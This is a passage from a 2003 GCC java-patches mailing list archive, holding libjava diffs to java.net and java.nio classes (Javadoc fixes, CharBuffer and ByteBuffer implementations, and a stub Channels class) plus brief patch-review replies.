/home/mkoch/src/gcc-cvs/libjava/java/net/NetworkInterface.java 2002-10-10 07:19:22.000000000 +0200 +++ /home/mkoch/src/gcc-work/libjava/java/net/NetworkInterface.java 2003-02-11 14:26:46.000000000 +0100 @@ -200,8 +200,9 @@ return false; NetworkInterface tmp = (NetworkInterface) obj; - return name.equals (tmp.name) && - inetAddresses.equals (tmp.inetAddresses); + + return (name.equals (tmp.name) + && inetAddresses.equals (tmp.inetAddresses)); } /** --- /home/mkoch/src/gcc-cvs/libjava/java/net/ServerSocket.java 2003-01-11 10:13:04.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/net/ServerSocket.java 2003-02-11 13:41:38.000000000 +0100 @@ -356,7 +356,7 @@ } catch (SocketException e) { - return false; + return false; } return true; --- /home/mkoch/src/gcc-cvs/libjava/java/net/Socket.java 2003-01-11 10:13:04.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/net/Socket.java 2003-02-11 13:42:01.000000000 +0100 @@ -95,6 +95,7 @@ * might want this behavior. * * @specnote This constructor is public since JDK 1.4 + * @since 1.1 */ public Socket () { @@ -122,6 +123,8 @@ * Socket * * @exception SocketException If an error occurs + * + * @since 1.1 */ protected Socket (SocketImpl impl) throws SocketException { @@ -180,6 +183,8 @@ * exists and does not allow a connection to the specified host/port or * binding to the specified local host/port. * @exception IOException If a connection error occurs. + * + * @since 1.1 */ public Socket (String host, int port, InetAddress localAddr, int localPort) throws IOException @@ -200,6 +205,8 @@ * @exception IOException If an error occurs * @exception SecurityException If a security manager exists and its * checkConnect method doesn't allow the operation + * + * @since 1.1 */ public Socket (InetAddress address, int port, InetAddress localAddr, int localPort) throws IOException @@ -396,6 +403,8 @@ * is not connected, then null is returned. * * @return The local address + * + * @since 1.1 */ public InetAddress getLocalAddress () { @@ -521,6 +530,8 @@ * @param on true to enable, false to disable * * @exception SocketException If an error occurs or Socket is not connected + * + * @since 1.1 */ public void setTcpNoDelay (boolean on) throws SocketException { @@ -539,6 +550,8 @@ * @return Whether or not TCP_NODELAY is set * * @exception SocketException If an error occurs or Socket not connected + * + * @since 1.1 */ public boolean getTcpNoDelay() throws SocketException { @@ -567,6 +580,8 @@ * * @exception SocketException If an error occurs or Socket not connected * @exception IllegalArgumentException If linger is negative + * + * @since 1.1 */ public void setSoLinger(boolean on, int linger) throws SocketException { @@ -602,6 +617,8 @@ * if SO_LINGER not set * * @exception SocketException If an error occurs or Socket is not connected + * + * @since 1.1 */ public int getSoLinger() throws SocketException { @@ -681,6 +698,8 @@ * 0 if not set * * @exception SocketException If an error occurs or Socket not connected + * + * @since 1.1 */ public synchronized void setSoTimeout (int timeout) throws SocketException { @@ -707,6 +726,8 @@ * if not set * * @exception SocketException If an error occurs or Socket not connected + * + * @since 1.1 */ public synchronized int getSoTimeout () throws SocketException { @@ -822,7 +843,7 @@ * * @exception SocketException If an error occurs or Socket is not connected * - * @since Java 1.3 + * @since 1.3 */ public void setKeepAlive (boolean on) throws SocketException { @@ -840,7 +861,7 @@ * * @exception SocketException If an error occurs or Socket is not connected * - * @since Java 1.3 + * @since 1.3 */ public boolean getKeepAlive () throws SocketException { @@ -918,6 +939,8 @@ * Closes the input side of the socket stream. * * @exception IOException If an error occurs. + * + * @since 1.3 */ public void shutdownInput() throws IOException { @@ -931,6 +954,8 @@ * Closes the output side of the socket stream. * * @exception IOException If an error occurs. + * + * @since 1.3 */ public void shutdownOutput() throws IOException { @@ -944,6 +969,8 @@ * Returns the socket channel associated with this socket. * * It returns null if no associated socket exists. + * + * @since 1.4 */ public SocketChannel getChannel() { @@ -1032,6 +1059,8 @@ /** * Checks if the socket is connected + * + * @since 1.4 */ public boolean isConnected () { @@ -1040,6 +1069,8 @@ /** * Checks if the socket is already bound. + * + * @since 1.4 */ public boolean isBound () { @@ -1048,6 +1079,8 @@ /** * Checks if the socket is closed. + * + * @since 1.4 */ public boolean isClosed () { @@ -1056,6 +1089,8 @@ /** * Checks if the socket's input stream is shutdown + * + * @since 1.4 */ public boolean isInputShutdown () { @@ -1064,6 +1099,8 @@ /** * Checks if the socket's output stream is shutdown + * + * @since 1.4 */ public boolean isOutputShutdown () { --- /home/mkoch/src/gcc-cvs/libjava/java/net/SocketImpl.java 2003-01-20 13:11:50.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/net/SocketImpl.java 2003-02-11 13:42:07.000000000 +0100 @@ -74,7 +74,7 @@ /** * The port number the socket is bound to locally */ - protected int localport; + protected int localport = -1; /** * The port number of the remote end of the socket connection --- /home/mkoch/src/gcc-cvs/libjava/java/net/SocketPermission.java 2003-01-08 16:43:05.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/net/SocketPermission.java 2003-02-11 13:42:37.000000000 +0100 @@ -276,62 +276,62 @@ // Get ours if (hostport.indexOf(":") == -1) { - ourfirstport = 0; - ourlastport = 65535; + ourfirstport = 0; + ourlastport = 65535; } else { - // FIXME: Needs bulletproofing. - // This will dump if hostport if all sorts of bad data was passed to - // the constructor - String range = hostport.substring(hostport.indexOf(":") + 1); - if (range.startsWith("-")) - ourfirstport = 0; - else if (range.indexOf("-") == -1) - ourfirstport = Integer.parseInt(range); - else - ourfirstport = - Integer.parseInt(range.substring(0, range.indexOf("-"))); - - if (range.endsWith("-")) - ourlastport = 65535; - else if (range.indexOf("-") == -1) - ourlastport = Integer.parseInt(range); - else - ourlastport = - Integer.parseInt(range. - substring(range.indexOf("-") + 1, - range.length())); + // FIXME: Needs bulletproofing. + // This will dump if hostport if all sorts of bad data was passed to + // the constructor + String range = hostport.substring(hostport.indexOf(":") + 1); + if (range.startsWith("-")) + ourfirstport = 0; + else if (range.indexOf("-") == -1) + ourfirstport = Integer.parseInt(range); + else + ourfirstport = + Integer.parseInt(range.substring(0, range.indexOf("-"))); + + if (range.endsWith("-")) + ourlastport = 65535; + else if (range.indexOf("-") == -1) + ourlastport = Integer.parseInt(range); + else + ourlastport = + Integer.parseInt(range. + substring(range.indexOf("-") + 1, + range.length())); } // Get theirs if (p.hostport.indexOf(":") == -1) { - theirfirstport = 0; - ourlastport = 65535; + theirfirstport = 0; + ourlastport = 65535; } else { - // This will dump if hostport if all sorts of bad data was passed to - // the constructor - String range = p.hostport.substring(hostport.indexOf(":") + 1); - if (range.startsWith("-")) - theirfirstport = 0; - else if (range.indexOf("-") == -1) - theirfirstport = Integer.parseInt(range); - else - theirfirstport = - Integer.parseInt(range.substring(0, range.indexOf("-"))); - - if (range.endsWith("-")) - theirlastport = 65535; - else if (range.indexOf("-") == -1) - theirlastport = Integer.parseInt(range); - else - theirlastport = - Integer.parseInt(range. - substring(range.indexOf("-") + 1, - range.length())); + // This will dump if hostport if all sorts of bad data was passed to + // the constructor + String range = p.hostport.substring(hostport.indexOf(":") + 1); + if (range.startsWith("-")) + theirfirstport = 0; + else if (range.indexOf("-") == -1) + theirfirstport = Integer.parseInt(range); + else + theirfirstport = + Integer.parseInt(range.substring(0, range.indexOf("-"))); + + if (range.endsWith("-")) + theirlastport = 65535; + else if (range.indexOf("-") == -1) + theirlastport = Integer.parseInt(range); + else + theirlastport = + Integer.parseInt(range. + substring(range.indexOf("-") + 1, + range.length())); } // Now check them @@ -361,17 +361,17 @@ String ourcanonical = null, theircanonical = null; try { - ourcanonical = InetAddress.getByName(ourhost).getHostName(); - theircanonical = InetAddress.getByName(theirhost).getHostName(); + ourcanonical = InetAddress.getByName(ourhost).getHostName(); + theircanonical = InetAddress.getByName(theirhost).getHostName(); } catch (UnknownHostException e) { - // Who didn't resolve? Just assume current address is canonical enough - // Is this ok to do? - if (ourcanonical == null) - ourcanonical = ourhost; - if (theircanonical == null) - theircanonical = theirhost; + // Who didn't resolve? Just assume current address is canonical enough + // Is this ok to do? + if (ourcanonical == null) + ourcanonical = ourhost; + if (theircanonical == null) + theircanonical = theirhost; } if (ourcanonical.equals(theircanonical)) @@ -380,9 +380,9 @@ // Well, last chance. Try for a wildcard if (ourhost.indexOf("*.") != -1) { - String wild_domain = ourhost.substring(ourhost.indexOf("*" + 1)); - if (theircanonical.endsWith(wild_domain)) - return (true); + String wild_domain = ourhost.substring(ourhost.indexOf("*" + 1)); + if (theircanonical.endsWith(wild_domain)) + return (true); } // Didn't make it --- /home/mkoch/src/gcc-cvs/libjava/java/net/URLDecoder.java 2002-11-04 15:00:22.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/net/URLDecoder.java 2003-02-11 13:42:43.000000000 +0100 @@ -82,12 +82,12 @@ { try { - return decode(s, "UTF-8"); + return decode(s, "UTF-8"); } catch (UnsupportedEncodingException uee) { - // Should never happen since UTF-8 encoding should always be supported - return s; + // Should never happen since UTF-8 encoding should always be supported + return s; } } --Boundary-00=_J3fS+sLkcavQVSJ-- From java-patches-return-6080-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 08:01:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15259 invoked by alias); 12 Feb 2003 08:01:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15246 invoked from network); 12 Feb 2003 08:01:29 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by 172.16.49.205 with SMTP; 12 Feb 2003 08:01:29 -0000 Received: from 192.168.1.3 (dynadsl-080-228-67-109.ewetel.net [80.228.67.109]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1C81OGH002853 for ; Wed, 12 Feb 2003 09:01:27 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.nio fixes Date: Wed, 12 Feb 2003 08:58:37 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_t6fS+JUYbI6/QR2" Message-Id: <200302120858.37696.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_t6fS+JUYbI6/QR2 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited some java.nio fixes. This should be merged into 3.3. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Sf6tWSOgCCdjSDsRAsAZAJsGmPTBSRzGsybwOe8sFAkO6XzxsQCfRLdg DwyUmjSE5LhN6URZcyBGMV4=3D =3DoQLS =2D----END PGP SIGNATURE----- --Boundary-00=_t6fS+JUYbI6/QR2 Content-Type: text/x-diff; charset="iso-8859-15"; name="nio.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="nio.diff" --- /home/mkoch/src/gcc-cvs/libjava/ChangeLog 2003-02-11 16:40:40.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/ChangeLog 2003-02-12 08:57:29.000000000 +0100 @@ -1,3 +1,20 @@ +2003-02-12 Michael Koch + + * java/nio/ByteBuffer.java + (allocate): Implemented. + (wrap): Implemented. + * java/nio/CharBuffer.java: + Some documentation added and reworked. + (endian): Removed. + (allocate): Implemented. + (wrap): Implemented. + (array): Throw exceptions. + (arrayOffset): Throw exceptions. + (toString): Implemented. + (length): Implemented. + (put): Implemented. + (charAt): Implemented. + 2003-02-11 Michael Koch * Makefile.in --- /home/mkoch/src/gcc-cvs/libjava/java/nio/ByteBuffer.java 2003-02-11 09:43:29.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/nio/ByteBuffer.java 2003-02-11 15:36:55.000000000 +0100 @@ -37,6 +37,8 @@ package java.nio; +import gnu.java.nio.ByteBufferImpl; + /** * @since 1.4 */ @@ -58,7 +60,7 @@ */ public static ByteBuffer allocate (int capacity) { - return null; + return new ByteBufferImpl (capacity, 0, capacity); } /** @@ -69,7 +71,7 @@ */ final public static ByteBuffer wrap (byte[] array, int offset, int length) { - return null; + return new ByteBufferImpl (array, offset, length); } /** --- /home/mkoch/src/gcc-cvs/libjava/java/nio/CharBuffer.java 2003-02-11 08:59:27.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/nio/CharBuffer.java 2003-02-12 08:25:57.000000000 +0100 @@ -37,57 +37,73 @@ package java.nio; +import gnu.java.nio.CharBufferImpl; + +/** + * @since 1.4 + */ public abstract class CharBuffer extends Buffer implements Cloneable, CharSequence { - private ByteOrder endian = ByteOrder.BIG_ENDIAN; - protected char [] backing_buffer; + /** + * Allocates a new CharBuffer object with a given capacity. + */ public static CharBuffer allocate (int capacity) { - return null; + return new CharBufferImpl (capacity, 0, capacity); } /** + * Wraps a character array into a CharBuffer object. + * * @exception IndexOutOfBoundsException If the preconditions on the offset * and length parameters do not hold */ final public static CharBuffer wrap (char[] array, int offset, int length) { - if ((offset < 0) || - (offset > array.length) || - (length < 0) || - (length > (array.length - offset))) - throw new IndexOutOfBoundsException (); - - return null; + return new CharBufferImpl (array, offset, offset + length); } + /** + * Wraps a character sequence into a CharBuffer object. + */ final public static CharBuffer wrap (CharSequence a) { return wrap (a, 0, a.length ()); } /** + * Wraps a character sequence into a CharBuffer object. + * * @exception IndexOutOfBoundsException If the preconditions on the offset * and length parameters do not hold */ final public static CharBuffer wrap (CharSequence a, int offset, int length) { - char [] buffer = new char [length]; + if ((offset < 0) + || (offset > a.length ()) + || (length < 0) + || (length > (a.length () - offset))) + throw new IndexOutOfBoundsException (); + + char [] buffer = new char [a.length ()]; for (int i = offset; i < length; i++) { buffer [i] = a.charAt (i); } - return wrap (buffer, 0, length); + return wrap (buffer, offset, length); } + /** + * Wraps a character array into a CharBuffer object. + */ final public static CharBuffer wrap (char[] array) { - return wrap (array, 0, array.length); + return wrap (array, 0, array.length); } CharBuffer (int cap, int lim, int pos, int mark) @@ -96,7 +112,10 @@ } /** - * @exception BufferUnderflowException FIXME + * Relative get method. + * + * @exception BufferUnderflowException If the buffer's current position is + * not smaller than its limit. * @exception IndexOutOfBoundsException If the preconditions on the offset * and length parameters do not hold */ @@ -106,11 +125,15 @@ { dst [i] = get (); } + return this; } /** - * @exception BufferUnderflowException FIXME + * Relative get method. + * + * @exception BufferUnderflowException If there are fewer than length + * characters remaining in this buffer. */ final public CharBuffer get (char[] dst) { @@ -118,69 +141,121 @@ } /** - * @exception BufferOverflowException FIXME - * @exception IllegalArgumentException FIXME - * @exception ReadOnlyBufferException FIXME + * @exception BufferOverflowException If there are fewer than length of + * source buffer characters remaining in this buffer. + * @exception IllegalArgumentException If the source buffer is this buffer. + * @exception ReadOnlyBufferException If this buffer is read-only. */ final public CharBuffer put (CharBuffer src) { - while (src.hasRemaining ()) - put (src.get ()); + if (src == this) + throw new IllegalArgumentException (); + + if (src.length () > 0) + { + char [] toPut = new char [src.length ()]; + src.get (toPut); + src.put (toPut); + } return this; } /** - * @exception BufferOverflowException FIXME + * @exception BufferOverflowException If there are fewer then length + * characters remaining in this buffer. * @exception IndexOutOfBoundsException If the preconditions on the offset * and length parameters do not hold - * @exception ReadOnlyBufferException FIXME + * @exception ReadOnlyBufferException If this buffer is read-only. */ final public CharBuffer put (char[] src, int offset, int length) { + if (offset < 0 + || offset >= src.length + || length < 0 + || length >= (src.length - offset)) + throw new IndexOutOfBoundsException (); + + // Put nothing into this buffer when not enough space left. + if (length > remaining ()) + throw new BufferOverflowException (); + for (int i = offset; i < offset + length; i++) - put (src [i]); + { + put (src [i]); + } return this; } /** - * @exception BufferOverflowException FIXME - * @exception ReadOnlyBufferException FIXME + * Relative put method. + * + * @exception BufferOverflowException If there are fewer then length of the + * array characters remaining in this buffer. + * @exception ReadOnlyBufferException If this buffer is read-only. */ public final CharBuffer put (char[] src) { return put (src, 0, src.length); } + /** + * Tells wether this is buffer is backed by an array or not. + */ public final boolean hasArray () { return backing_buffer != null; } /** - * @exception ReadOnlyBufferException FIXME - * @exception UnsupportedOperationException FIXME + * Returns the array that backs this buffer. + * + * @exception ReadOnlyBufferException If this buffer is read-only. + * @exception UnsupportedOperationException If this buffer is not backed + * by an accessible array. */ public final char[] array () { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return backing_buffer; } /** - * @exception ReadOnlyBufferException FIXME - * @exception UnsupportedOperationException FIXME + * Returns the offset to the position of a character in this buffer. + * + * @exception ReadOnlyBufferException If this buffer is read-only. + * @exception UnsupportedOperationException If this buffer is not backed + * by an accessible array. */ public final int arrayOffset () { + if (backing_buffer == null) + throw new UnsupportedOperationException (); + + if (isReadOnly ()) + throw new ReadOnlyBufferException (); + return 0; } + /** + * Calculates a hash code for this buffer- + */ public int hashCode () { + // FIXME: Check what SUN calculates here. return super.hashCode (); } + /** + * Checks if this buffer is equal to obj. + */ public boolean equals (Object obj) { if (obj instanceof CharBuffer) @@ -190,7 +265,10 @@ } /** - * @exception ClassCastException FIXME + * Compares two character buffer objects. + * + * @exception ClassCastException If obj is not an object derived from + * CharBuffer. */ public int compareTo(Object obj) { @@ -213,85 +291,128 @@ if (t != 0) return (int) t; } + return 0; } /** - * @exception BufferUnderflowException FIXME + * Relative get method. + * + * @exception BufferUnderflowException If there are no remaining characters + * in this buffer. */ public abstract char get (); /** - * @exception BufferOverflowException FIXME - * @exception ReadOnlyBufferException FIXME + * Relative put method. + * + * @exception BufferOverflowException If there no remaining characters in + * this buffer. + * @exception ReadOnlyBufferException If this buffer is read-only. */ public abstract CharBuffer put (char b); /** - * @exception IndexOutOfBoundsException FIXME + * Absolute get method. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit. */ public abstract char get (int index); /** - * @exception IndexOutOfBoundsException FIXME - * @exception ReadOnlyBufferException FIXME + * Absolute put method. + * + * @exception IndexOutOfBoundsException If index is negative or not smaller + * than the buffer's limit. + * @exception ReadOnlyBufferException If this buffer is read-only. */ public abstract CharBuffer put (int index, char b); /** - * @exception ReadOnlyBufferException FIXME + * @exception ReadOnlyBufferException If this buffer is read-only. */ public abstract CharBuffer compact (); + /** + * Tells wether this buffer is direct or not. + */ public abstract boolean isDirect (); public abstract CharBuffer slice (); + /** + * Duplicates this buffer. + */ public abstract CharBuffer duplicate (); + /** + * Returns this buffer made read-only. + */ public abstract CharBuffer asReadOnlyBuffer (); + /** + * Returns the remaining content of the buffer as a string. + */ public String toString () { - return ""; + return new String (array (), position (), length ()); } public final int length () { - return 0; + return remaining (); } + /** + * Returns the byte order of this buffer. + */ public abstract ByteOrder order (); /** - * @exception IndexOutOfBoundsException FIXME + * @exception IndexOutOfBoundsException If the preconditions on start and + * end do not hold. */ public abstract CharSequence subSequence (int start, int length); /** - * @exception BufferOverflowException FIXME - * @exception IndexOutOfBoundsException FIXME - * @exception ReadOnlyBufferException FIXME + * Relative put method. + * + * @exception BufferOverflowException If there is insufficient space in this + * buffer. + * @exception IndexOutOfBoundsException If the preconditions on the start + * and end parameters do not hold. + * @exception ReadOnlyBufferException If this buffer is read-only. */ public CharBuffer put (String str, int start, int length) { - return null; + return put (str.toCharArray (), start, length); } /** - * @exception BufferOverflowException FIXME - * @exception ReadOnlyBufferException FIXME + * Relative put method. + * + * @exception BufferOverflowException If there is insufficient space in this + * buffer. + * @exception ReadOnlyBufferException If this buffer is read-only. */ public final CharBuffer put (String str) { - return null; + return put (str, 0, str.length ()); } /** - * @exception IndexOutOfBoundsException FIXME + * Returns the character at position() + index. + * + * @exception IndexOutOfBoundsException If index is negative not smaller than + * remaining(). */ public final char charAt (int index) { - return ' '; + if (index < 0 + || index >= remaining ()) + throw new IndexOutOfBoundsException (); + + return get (position () + index); } } --Boundary-00=_t6fS+JUYbI6/QR2-- From java-patches-return-6081-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 08:26:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26472 invoked by alias); 12 Feb 2003 08:26:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26151 invoked from network); 12 Feb 2003 08:23:45 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.63) by 172.16.49.205 with SMTP; 12 Feb 2003 08:23:45 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 12 Feb 2003 00:23:44 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: "Adam Megacz" Cc: "Java Patches" References: <868ywm9ee9.fsf@nowhere.com> <86k7g6c63x.fsf@nowhere.com> Subject: Re: added typedef for socklen_t to win32.h Date: Wed, 12 Feb 2003 13:55:51 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 12 Feb 2003 08:23:44.0617 (UTC) FILETIME=[0ECB4D90:01C2D270] > Cool; can we get this committed to the branch before it closes on 01-Mar? If you're OK with the w32api 2.x "limitation", please go ahead and commit it (assuming Tom is also OK with it). Ranjit. From java-patches-return-6082-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 09:33:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22799 invoked by alias); 12 Feb 2003 09:33:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22663 invoked from network); 12 Feb 2003 09:33:53 -0000 Received: from unknown (HELO mx2.redhat.com) (12.150.115.133) by 172.16.49.205 with SMTP; 12 Feb 2003 09:33:53 -0000 Received: from int-mx2.corp.redhat.com (int-mx2.corp.redhat.com [172.16.27.26]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id h1C9Rg112609; Wed, 12 Feb 2003 04:27:42 -0500 Received: from potter.sfbay.redhat.com (potter.sfbay.redhat.com [172.16.27.15]) by int-mx2.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h1C9Xpn05779; Wed, 12 Feb 2003 04:33:51 -0500 Received: from localhost.localdomain (frothingslosh.sfbay.redhat.com [172.16.24.27]) by potter.sfbay.redhat.com (8.11.6/8.11.6) with ESMTP id h1C9XoQ31811; Wed, 12 Feb 2003 01:33:50 -0800 Received: (from rth@localhost) by localhost.localdomain (8.11.6/8.11.6) id h1C9XoE29170; Wed, 12 Feb 2003 01:33:50 -0800 X-Authentication-Warning: localhost.localdomain: rth set sender to rth@redhat.com using -f Date: Wed, 12 Feb 2003 01:33:50 -0800 From: Richard Henderson To: Tom Tromey Cc: Gcc Patch List , Java Patch List Subject: Re: [3.3] Patch ping: JNI ABI and Windows Message-ID: <20030212093350.GC29135@redhat.com> Mail-Followup-To: Richard Henderson , Tom Tromey , Gcc Patch List , Java Patch List References: <87hebamgcd.fsf@fleche.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <87hebamgcd.fsf@fleche.redhat.com> User-Agent: Mutt/1.4i On Tue, Feb 11, 2003 at 06:34:58PM -0700, Tom Tromey wrote: > * doc/tm.texi (MODIFY_JNI_METHOD_CALL): Document. > * config/i386/cygwin.h (MODIFY_JNI_METHOD_CALL): New macro. Ok. r~ From java-patches-return-6083-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 10:10:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6086 invoked by alias); 12 Feb 2003 10:10:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6068 invoked from network); 12 Feb 2003 10:10:39 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 12 Feb 2003 10:10:39 -0000 Received: from 192.168.1.3 (dynadsl-080-228-68-046.ewetel.net [80.228.68.46]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1CAAWbq027896 for ; Wed, 12 Feb 2003 11:10:37 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.nio.channels.Channels Date: Wed, 12 Feb 2003 11:10:08 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_A2hS+GEllhThA7G" Message-Id: <200302121110.08601.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_A2hS+GEllhThA7G Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, this patch adds a new file to java.nio.channels. This should be added=20 to 3.3 too. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Sh2AWSOgCCdjSDsRApXoAJ9+7+DFscIZB333Auh2NqsLUQ5u3QCfcJIA 8zlKNCraig69EhaEt6OKVDo=3D =3DCs5G =2D----END PGP SIGNATURE----- --Boundary-00=_A2hS+GEllhThA7G Content-Type: text/x-diff; charset="iso-8859-15"; name="Channels.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="Channels.diff" --- /home/mkoch/src/gcc-cvs/libjava/ChangeLog 2003-02-12 09:01:10.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/ChangeLog 2003-02-12 10:46:12.000000000 +0100 @@ -1,5 +1,12 @@ 2003-02-12 Michael Koch + * java/nio/channels/Channels.java: New file. + * Makefile.am + (ordinary_java_source_files): Added java/nio/channels/Channels.java. + * Makefile.in: Regenerated. + +2003-02-12 Michael Koch + * java/nio/ByteBuffer.java (allocate): Implemented. (wrap): Implemented. --- /home/mkoch/src/gcc-cvs/libjava/java/nio/channels/Channels.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/nio/channels/Channels.java 2003-02-12 08:03:09.000000000 +0100 @@ -0,0 +1,130 @@ +/* Channels.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.nio.channels; + +import java.io.InputStream; +import java.io.OutputStream; +import java.io.Reader; +import java.io.Writer; +import java.nio.channels.WritableByteChannel; +import java.nio.charset.Charset; +import java.nio.charset.CharsetDecoder; +import java.nio.charset.CharsetEncoder; + +/** + * @since 1.4 + */ +public final class Channels +{ + /** + * Constructs a stream that reads bytes from the given channel. + */ + public static InputStream newInputStream (ReadableByteChannel ch) + { + throw new Error ("not implemented"); + } + + /** + * Constructs a stream that writes bytes to the given channel. + */ + public static OutputStream newOutputStream (WritableByteChannel ch) + { + throw new Error ("not implemented"); + } + + /** + * Constructs a channel that reads bytes from the given stream. + */ + public static ReadableByteChannel newChannel (InputStream in) + { + throw new Error ("not implemented"); + } + + /** + * Constructs a channel that writes bytes to the given stream. + */ + public static WritableByteChannel newChannel (OutputStream out) + { + throw new Error ("not implemented"); + } + + /** + * Constructs a reader that decodes bytes from the given channel using the + * given decoder. + */ + public static Reader newReader (ReadableByteChannel ch, CharsetDecoder dec, + int minBufferCap) + { + throw new Error ("not implemented"); + } + + /** + * Constructs a reader that decodes bytes from the given channel according to + * the named charset. + * + * @exception UnsupportedCharsetException If no support for the named charset + * is available in this instance of the Java virtual machine. + */ + public static Reader newReader (ReadableByteChannel ch, String csName) + { + return newReader (ch, Charset.forName (csName).newDecoder (), -1); + } + + /** + * Constructs a writer that encodes characters using the given encoder and + * writes the resulting bytes to the given channel. + */ + public static Writer newWriter (WritableByteChannel ch, CharsetEncoder enc, + int minBufferCap) + { + throw new Error ("not implemented"); + } + + /** + * Constructs a writer that encodes characters according to the named charset + * and writes the resulting bytes to the given channel. + * + * @exception UnsupportedCharsetException If no support for the named charset + * is available in this instance of the Java virtual machine. + */ + public static Writer newWriter (WritableByteChannel ch, + String csName) + { + return newWriter (ch, Charset.forName (csName).newEncoder (), -1); + } +} --- /home/mkoch/src/gcc-cvs/libjava/Makefile.am 2003-02-11 12:16:41.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/Makefile.am 2003-02-12 09:11:17.000000000 +0100 @@ 